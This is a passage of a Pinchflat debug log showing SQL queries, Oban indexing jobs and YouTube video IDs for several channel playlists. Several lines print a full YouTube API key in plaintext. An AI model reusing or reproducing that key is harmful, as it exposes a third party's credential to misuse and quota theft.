idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:27.060 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 15:56:27.060 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:27.060 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:27.150 [debug] QUERY OK source="media_items" db=0.5ms idle=89.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 15:56:27.151 [debug] QUERY OK source="media_items" db=0.3ms idle=90.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 15:56:27.152 [debug] QUERY OK source="tasks" db=0.2ms idle=91.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799844, 30, ~U[2026-02-10 21:56:27Z], ~U[2026-02-10 21:56:27Z]] 15:56:27.152 [info] {"args":{"id":30},"id":3799804,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":92806,"event":"job:stop","queue_time":517670,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:27.564 [info] {"source":"oban","duration":10297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:28.061 [info] {"args":{"id":17},"id":3799805,"meta":{},"system_time":1770760588061876146,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:28.062 [debug] QUERY OK source="sources" db=0.2ms idle=909.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 15:56:28.062 [debug] QUERY OK source="settings" db=0.4ms idle=903.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:28.063 [debug] QUERY OK source="media_profiles" db=0.8ms idle=498.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:28.064 [debug] QUERY OK source="settings" db=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:28.064 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 15:56:28.064 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:28.064 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:28.148 [debug] QUERY OK source="media_items" db=0.5ms idle=85.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 15:56:28.149 [debug] QUERY OK source="media_items" db=0.2ms idle=86.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 15:56:28.150 [debug] QUERY OK source="tasks" db=0.1ms idle=85.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799845, 17, ~U[2026-02-10 21:56:28Z], ~U[2026-02-10 21:56:28Z]] 15:56:28.150 [info] {"args":{"id":17},"id":3799805,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88392,"event":"job:stop","queue_time":526949,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:30.173 [info] {"args":{"id":33},"id":3799806,"meta":{},"system_time":1770760590172973269,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:30.173 [debug] QUERY OK source="sources" db=0.2ms idle=294.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 15:56:30.173 [debug] QUERY OK source="settings" db=0.1ms idle=295.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:30.174 [debug] QUERY OK source="media_profiles" db=0.1ms idle=295.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:30.174 [debug] QUERY OK source="settings" db=0.1ms idle=115.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:30.174 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 15:56:30.174 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:30.174 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:30.279 [debug] QUERY OK source="media_items" db=0.6ms idle=105.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 15:56:30.281 [debug] QUERY OK source="media_items" db=0.5ms idle=106.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 15:56:30.323 [debug] QUERY OK source="tasks" db=0.2ms idle=149.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799846, 33, ~U[2026-02-10 21:56:30Z], ~U[2026-02-10 21:56:30Z]] 15:56:30.324 [info] {"args":{"id":33},"id":3799806,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":150943,"event":"job:stop","queue_time":518004,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:31.066 [info] {"args":{"id":12},"id":3799807,"meta":{},"system_time":1770760591066684594,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:31.066 [info] {"args":{"id":11},"id":3799808,"meta":{},"system_time":1770760591066731381,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:31.067 [debug] QUERY OK source="sources" db=0.2ms idle=742.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 15:56:31.067 [debug] QUERY OK source="sources" db=0.2ms idle=742.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 15:56:31.067 [debug] QUERY OK source="settings" db=0.2ms idle=736.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.067 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:31.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:31.067 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.067 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 15:56:31.067 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.067 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 15:56:31.068 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.068 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:31.068 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:31.068 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:31.234 [debug] QUERY OK source="media_items" db=0.6ms idle=166.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 15:56:31.235 [debug] QUERY OK source="media_items" db=0.4ms idle=167.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 15:56:31.236 [debug] QUERY OK source="tasks" db=0.1ms idle=167.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) 